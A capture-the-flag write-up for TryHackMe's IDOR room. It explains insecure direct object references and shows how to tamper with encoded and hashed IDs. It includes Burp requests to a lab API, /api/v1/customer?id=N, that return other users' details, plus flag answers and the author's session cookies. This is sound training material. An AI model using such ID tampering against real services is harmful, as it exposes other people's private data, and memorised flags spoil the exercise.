THM: IDOR

Solution of IDOR room

What is an IDOR?

In this room, you're going to learn what an IDOR vulnerability is, what they look like, how to find them and a practical task exploiting a real case scenario.

What is an IDOR?

IDOR stands for Insecure Direct Object Reference and is a type of access control vulnerability.

This type of vulnerability can occur when a web server receives user-supplied input to retrieve objects (files, data, documents), too much trust has been placed on the input data, and it is not validated on the server-side to confirm the requested object belongs to the user requesting it.

Answer the questions

What does IDOR stand for?

Answer: Insecure Direct Object Reference


An IDOR Example

Imagine you've just signed up for an online service, and you want to change your profile information. The link you click on goes to http://online-service.thm/profile?user_id=1305, and you can see your information.

Curiosity gets the better of you, and you try changing the user_id value to 1000 instead (http://online-service.thm/profile?user_id=1000), and to your surprise, you can now see another user's information. You've now discovered an IDOR vulnerability! Ideally, there should be a check on the website to confirm that the user information belongs to the user logged requesting it.

Using what you've learnt above, click on the View Site button and try and receive a flag by discovering and exploiting an IDOR vulnerability.

Answer the questions

What does IDOR stand for?

html
https://onlinestore.thm/order/1000/invoice

Answer: THM{IDOR-VULN-FOUND}


Finding IDORs in Encoded IDs

Encoded IDs

When passing data from page to page either by post data, query strings, or cookies, web developers will often first take the raw data and encode it. Encoding ensures that the receiving web server will be able to understand the contents. Encoding changes binary data into an ASCII string commonly using the a-z, A-Z, 0-9 and = character for padding. The most common encoding technique on the web is base64 encoding and can usually be pretty easy to spot. You can use websites like https://www.base64decode.org/ to decode the string, then edit the data and re-encode it again using https://www.base64encode.org/ and then resubmit the web request to see if there is a change in the response.

md

| eyJpZCI6MzB9 | decode -> {"id":30} | tamper -> {"id":10} 

| encode -> eyJpZCI6MTB9 | submit

Answer the questions

What is a common type of encoding used by websites?

Answer: base64


Finding IDORs in Hashed IDs

Hashed IDs

Hashed IDs are a little bit more complicated to deal with than encoded ones, but they may follow a predictable pattern, such as being the hashed version of the integer value. For example, the Id number 123 would become 202cb962ac59075b964b07152d234b70 if md5 hashing were in use.

It's worthwhile putting any discovered hashes through a web service such as https://crackstation.net/ (which has a database of billions of hash to value results) to see if we can find any matches.

Answer the questions

What is a common algorithm used for hashing IDs?

Answer: md5


Finding IDORs in Unpredictable IDs

Unpredictable IDs

If the Id cannot be detected using the above methods, an excellent method of IDOR detection is to create two accounts and swap the Id numbers between them. If you can view the other users' content using their Id number while still being logged in with a different account (or not logged in at all), you've found a valid IDOR vulnerability.

Answer the questions

What is the minimum number of accounts you need to create to check for IDORs between accounts?

Answer: 2


Where are IDORs located

Where are they located?

The vulnerable endpoint you're targeting may not always be something you see in the address bar. It could be content your browser loads in via an AJAX request or something that you find referenced in a JavaScript file. 

Sometimes endpoints could have an unreferenced parameter that may have been of some use during development and got pushed to production. For example, you may notice a call to /user/details displaying your user information (authenticated through your session). But through an attack known as parameter mining, you discover a parameter called user_id that you can use to display other users' information, for example, /user/details?user_id=123.


A Practical IDOR Example

Begin by pressing the Start Machine button; once started, click the below link and open it in a new browser tab:

https://10-80-180-139.reverse-proxy.cell-prod-eu-west-1a.vm.tryhackme.com

Firstly you'll need to log in. To do this, click on the customer's section and create an account. Once logged in, click on the Your Account tab. 

The Your Account section gives you the ability to change your information such as username, email address and password. You'll notice the username and email fields pre-filled in with your information.  

We'll start by investigating how this information gets pre-filled. If you open your browser developer tools, select the network tab and then refresh the page, you'll see a call to an endpoint with the path /api/v1/customer?id={user_id}.

This page returns in JSON format your user id, username and email address. We can see from the path that the user information shown is taken from the query string's id parameter (see below image).

Answer the questions

What is the username for user id 1?

request by Burp suite:

html
GET /api/v1/customer?id=1 HTTP/1.1
Host: 10-80-180-139.reverse-proxy.cell-prod-eu-west-1a.vm.tryhackme.com
Cookie: _gcl_au=1.1.2086403990.1765908147.663957680.1767690481.1767690545; _ga_Z8D4WL3D4P=GS2.1.s1767690470$o2$g1$t1767690621$j60$l0$h0; _ga=GA1.1.1255580287.1765908147; ajs_anonymous_id=3289d133-ba9e-4b5f-83fe-4fd7b7841377; _fbp=fb.1.1765908147849.305060574850564666; _hjSessionUser_1950941=eyJpZCI6IjUxYjQ2Yzc1LTNjOTYtNTljZi05MzRhLWFkYTZhODVlOTA4NiIsImNyZWF0ZWQiOjE3NjU5MDgxNDc5MjQsImV4aXN0aW5nIjp0cnVlfQ==; __hstc=256179476.96180a8de561539365ffef2546f9e26d.1765908148280.1765908148280.1767690472260.2; hubspotutk=96180a8de561539365ffef2546f9e26d; analytics_session_id=1767690472325; analytics_session_id.last_access=1767690546948; intercom-device-id-pgpbhph6=5038e1c6-af05-4f5b-800e-444d190ba968; _cioid=68dd6dd6ed32eb87c0782528; ajs_user_id=68dd6dd6ed32eb87c0782528; _rdt_uuid=1765908147348.433b2de3-03b9-44ec-81e0-84f9d49f0d71; _rdt_em=:818130610bbcb35b87620da26f98e863476896d183e87500db25061f4c622ce3,87c9997321b661812cbf6f24d32f5c30f222b80be0594a2c0278997cbba2631d; admin=false; session=3ea073e6a8ea1249bb2aa2f0ac4b61c8
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Referer: https://10-80-180-139.reverse-proxy.cell-prod-eu-west-1a.vm.tryhackme.com/customers/account
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: keep-alive

Response:

html
HTTP/1.1 200 OK
Server: nginx/1.29.1
Date: Thu, 22 Jan 2026 20:37:39 GMT
Content-Type: application/json
Connection: keep-alive
X-FLAG: THM{HEADER_FLAG}
Set-Cookie: session=3ea073e6a8ea1249bb2aa2f0ac4b61c8; expires=Thu, 22-Jan-2026 21:37:38 GMT; Max-Age=3600; path=/
Content-Length: 59

{"id":1,"username":"adam84","email":"adam-84@fakemail.thm"}

Answer: adam84

What is the email address for user id 3?

Request by Burp suite

html
GET /api/v1/customer?id=3 HTTP/1.1
Host: 10-80-180-139.reverse-proxy.cell-prod-eu-west-1a.vm.tryhackme.com
Cookie: _gcl_au=1.1.2086403990.1765908147.663957680.1767690481.1767690545; _ga_Z8D4WL3D4P=GS2.1.s1767690470$o2$g1$t1767690621$j60$l0$h0; _ga=GA1.1.1255580287.1765908147; ajs_anonymous_id=3289d133-ba9e-4b5f-83fe-4fd7b7841377; _fbp=fb.1.1765908147849.305060574850564666; _hjSessionUser_1950941=eyJpZCI6IjUxYjQ2Yzc1LTNjOTYtNTljZi05MzRhLWFkYTZhODVlOTA4NiIsImNyZWF0ZWQiOjE3NjU5MDgxNDc5MjQsImV4aXN0aW5nIjp0cnVlfQ==; __hstc=256179476.96180a8de561539365ffef2546f9e26d.1765908148280.1765908148280.1767690472260.2; hubspotutk=96180a8de561539365ffef2546f9e26d; analytics_session_id=1767690472325; analytics_session_id.last_access=1767690546948; intercom-device-id-pgpbhph6=5038e1c6-af05-4f5b-800e-444d190ba968; _cioid=68dd6dd6ed32eb87c0782528; ajs_user_id=68dd6dd6ed32eb87c0782528; _rdt_uuid=1765908147348.433b2de3-03b9-44ec-81e0-84f9d49f0d71; _rdt_em=:818130610bbcb35b87620da26f98e863476896d183e87500db25061f4c622ce3,87c9997321b661812cbf6f24d32f5c30f222b80be0594a2c0278997cbba2631d; admin=false; session=3ea073e6a8ea1249bb2aa2f0ac4b61c8
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Referer: https://10-80-180-139.reverse-proxy.cell-prod-eu-west-1a.vm.tryhackme.com/customers/account
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: keep-alive

Response:

html
HTTP/1.1 200 OK
Server: nginx/1.29.1
Date: Thu, 22 Jan 2026 20:45:27 GMT
Content-Type: application/json
Connection: keep-alive
X-FLAG: THM{HEADER_FLAG}
Set-Cookie: session=3ea073e6a8ea1249bb2aa2f0ac4b61c8; expires=Thu, 22-Jan-2026 21:45:26 GMT; Max-Age=3600; path=/
Content-Length: 54

{"id":3,"username":"john911","email":"j@fakemail.thm"}

Answer: j@fakemail.thm